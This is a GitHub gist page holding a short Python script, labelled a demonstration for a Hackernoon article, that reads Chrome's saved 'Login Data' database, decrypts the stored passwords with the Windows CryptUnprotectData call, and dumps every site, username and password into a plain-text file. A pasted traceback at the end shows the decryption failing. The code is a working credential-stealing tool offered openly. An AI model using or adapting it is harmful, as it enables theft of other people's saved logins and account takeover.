Created
March 29, 2019 07:12
-
-
Save LPX55/ea1456e96b17b367676fda2dbe58bc2b to your computer and use it in GitHub Desktop.
Extracting Chrome Passwords with Python | Demonstration for hackernoon.com/@HanYoon
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# os and sqlite3 ships with Python by default. If you get import errors for win32crypt use "pip install pypiwin32" to install the dependency. | |
import os, sqlite3, win32crypt | |
# Automatically get the logged in user's default folder | |
data = os.path.expanduser('~')+"\AppData\Local\Google\Chrome\User Data\Default\Login Data" | |
# Connect to Login Data database | |
connection = sqlite3.connect(data) | |
cursor = connection.cursor() | |
# Query the values of interest to us | |
cursor.execute('SELECT action_url, username_value, password_value FROM logins') | |
final_data = cursor.fetchall() | |
cursor.close() | |
print("Found {} passwords...").format(str(len(final_data))) | |
write_file=open("chrome.txt","w") | |
write_file.write("User login data extracted: \n\n") | |
# Iterating through all the values found... | |
for chrome_logins in final_data: | |
password = win32crypt.CryptUnprotectData(chrome_logins[2], None, None, None, 0)[1] | |
site = "Website: " + str(chrome_logins[0]) | |
username = "Username: " + str(chrome_logins[1]) | |
password = "Password: " +str(password) | |
write_file.write(site+"\n"+username+"\n"+password) | |
write_file.write("\n"+"======"*10+"\n") | |
print("Saved to chrome.txt") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Traceback (most recent call last):
File "chrome.py", line 113, in
args_parser()
File "chrome.py", line 26, in args_parser
for data in main():
File "chrome.py", line 57, in main
password = win32crypt.CryptUnprotectData(
pywintypes.error: (-2146893813, 'CryptProtectData', 'Key not valid for use in specified state.')